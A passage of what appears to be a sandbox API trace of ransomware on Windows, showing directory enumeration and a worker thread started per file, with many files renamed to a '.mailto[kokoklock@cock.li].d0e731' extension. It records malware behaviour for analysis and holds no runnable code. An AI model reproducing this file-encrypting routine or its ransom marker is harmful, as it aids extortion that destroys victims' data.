returned="C:\\588bce7c90097ed212\\" [0165.068] wcscat (in: _Dest=0x2f9c520, _Source="ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9c520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0165.068] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0165.068] wcscmp (_String1="RGB9RAST_x64.msi", _String2=".") returned 1 [0165.068] wcscmp (_String1="RGB9RAST_x64.msi", _String2="..") returned 1 [0165.068] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0165.068] wcscmp (_String1="RGB9Rast_x86.msi", _String2=".") returned 1 [0165.068] wcscmp (_String1="RGB9Rast_x86.msi", _String2="..") returned 1 [0165.068] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0x7e7d3ca0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13208, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SETUPE~1.D0E")) returned 1 [0165.068] wcscmp (_String1="Setup.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.068] wcscmp (_String1="Setup.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x82) returned 0x2f82598 [0165.069] wcscpy (in: _Dest=0x2f82598, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.069] wcscat (in: _Dest=0x2f82598, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.069] wcscat (in: _Dest=0x2f82598, _Source="Setup.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" [0165.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0165.069] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0165.069] wcscmp (_String1="SetupEngine.dll", _String2=".") returned 1 [0165.069] wcscmp (_String1="SetupEngine.dll", _String2="..") returned 1 [0165.069] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0165.069] wcscmp (_String1="SetupUi.dll", _String2=".") returned 1 [0165.069] wcscmp (_String1="SetupUi.dll", _String2="..") returned 1 [0165.069] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x7e81ff2e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7668, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SETUPU~1.D0E")) returned 1 [0165.069] wcscmp (_String1="SetupUi.xsd.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.070] wcscmp (_String1="SetupUi.xsd.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.070] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f82bc8 [0165.070] wcscpy (in: _Dest=0x2f82bc8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.070] wcscat (in: _Dest=0x2f82bc8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.070] wcscat (in: _Dest=0x2f82bc8, _Source="SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" [0165.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0165.070] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x7e846156, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17818, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SETUPU~2.D0E")) returned 1 [0165.070] wcscmp (_String1="SetupUtility.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.070] wcscmp (_String1="SetupUtility.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.070] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f69b30 [0165.070] wcscpy (in: _Dest=0x2f69b30, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.071] wcscat (in: _Dest=0x2f69b30, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.071] wcscat (in: _Dest=0x2f69b30, _Source="SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" [0165.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f69b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0165.071] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x7e86c3cc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa138, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SPLASH~1.D0E")) returned 1 [0165.071] wcscmp (_String1="SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.071] wcscmp (_String1="SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f6aa70 [0165.071] wcscpy (in: _Dest=0x2f6aa70, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.071] wcscat (in: _Dest=0x2f6aa70, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.071] wcscat (in: _Dest=0x2f6aa70, _Source="SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" [0165.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6aa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0165.072] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0165.072] wcscmp (_String1="sqmapi.dll", _String2=".") returned 1 [0165.072] wcscmp (_String1="sqmapi.dll", _String2="..") returned 1 [0165.072] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x7e8b8960, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STRING~1.D0E")) returned 1 [0165.072] wcscmp (_String1="Strings.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.072] wcscmp (_String1="Strings.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f830d8 [0165.072] wcscpy (in: _Dest=0x2f830d8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.072] wcscat (in: _Dest=0x2f830d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.072] wcscat (in: _Dest=0x2f830d8, _Source="Strings.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731" [0165.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f830d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0165.073] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x7e8dea8e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x98b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIINFO~1.D0E")) returned 1 [0165.073] wcscmp (_String1="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.073] wcscmp (_String1="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f82e08 [0165.073] wcscpy (in: _Dest=0x2f82e08, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.073] wcscat (in: _Dest=0x2f82e08, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.073] wcscat (in: _Dest=0x2f82e08, _Source="UiInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0165.778] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x7e904ce6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19748, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WATERM~1.D0E")) returned 1 [0165.778] wcscmp (_String1="watermark.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.778] wcscmp (_String1="watermark.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.778] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5138 [0165.778] wcscpy (in: _Dest=0x2fe5138, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.778] wcscat (in: _Dest=0x2fe5138, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.778] wcscat (in: _Dest=0x2fe5138, _Source="watermark.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" [0168.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0168.175] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0168.175] wcscmp (_String1="Windows6.0-KB956250-v6001-x64.msu", _String2=".") returned 1 [0168.175] wcscmp (_String1="Windows6.0-KB956250-v6001-x64.msu", _String2="..") returned 1 [0168.175] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0168.175] wcscmp (_String1="Windows6.0-KB956250-v6001-x86.msu", _String2=".") returned 1 [0168.175] wcscmp (_String1="Windows6.0-KB956250-v6001-x86.msu", _String2="..") returned 1 [0168.175] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0168.175] wcscmp (_String1="Windows6.1-KB958488-v6001-x64.msu", _String2=".") returned 1 [0168.175] wcscmp (_String1="Windows6.1-KB958488-v6001-x64.msu", _String2="..") returned 1 [0168.175] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0168.175] wcscmp (_String1="Windows6.1-KB958488-v6001-x86.msu", _String2=".") returned 1 [0168.175] wcscmp (_String1="Windows6.1-KB958488-v6001-x86.msu", _String2="..") returned 1 [0168.175] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0168.175] FindClose (in: hFindFile=0x2f802e0 | out: hFindFile=0x2f802e0) returned 1 [0168.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d608) returned 1 [0168.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f686b8) returned 1 [0168.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6bf20) returned 1 [0168.175] RtlExitUserThread (Status=0x0) Thread: id = 1474 os_tid = 0xde4 [0163.742] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f80320 [0163.742] wcscpy (in: _Dest=0x2f80320, _Source="C:\\Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0163.742] wcscat (in: _Dest=0x2f80320, _Source="\\" | out: _Dest="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0163.742] wcscat (in: _Dest=0x2f80320, _Source="*" | out: _Dest="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0163.742] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f93fb8 [0163.743] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.743] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93fb8) returned 1 [0163.743] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80320) returned 1 [0163.743] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0163.743] RtlExitUserThread (Status=0x0) Thread: id = 1475 os_tid = 0xde8 [0163.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12) returned 0x2f81998 [0163.744] wcscpy (in: _Dest=0x2f81998, _Source="C:\\ESD" | out: _Dest="C:\\ESD") returned="C:\\ESD" [0163.744] wcscat (in: _Dest=0x2f81998, _Source="\\" | out: _Dest="C:\\ESD\\") returned="C:\\ESD\\" [0163.744] wcscat (in: _Dest=0x2f81998, _Source="*" | out: _Dest="C:\\ESD\\*") returned="C:\\ESD\\*" [0163.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f93fb8 [0163.745] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0163.748] wcscmp (_String1=".", _String2=".") returned 0 [0163.748] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.748] wcscmp (_String1="..", _String2=".") returned 1 [0163.748] wcscmp (_String1="..", _String2="..") returned 0 [0163.748] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0163.748] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0163.748] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93fb8) returned 1 [0163.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81998) returned 1 [0163.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8dc08) returned 1 [0163.749] RtlExitUserThread (Status=0x0) Thread: id = 1476 os_tid = 0xdec [0163.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14) returned 0x2f81998 [0163.750] wcscpy (in: _Dest=0x2f81998, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.750] wcscat (in: _Dest=0x2f81998, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.750] wcscat (in: _Dest=0x2f81998, _Source="*" | out: _Dest="C:\\Logs\\*") returned="C:\\Logs\\*" [0163.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f93fb8 [0163.750] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x814a0a66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814a0a66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0163.754] wcscmp (_String1=".", _String2=".") returned 0 [0163.754] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x814a0a66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814a0a66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.759] wcscmp (_String1="..", _String2=".") returned 1 [0163.759] wcscmp (_String1="..", _String2="..") returned 0 [0163.759] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, 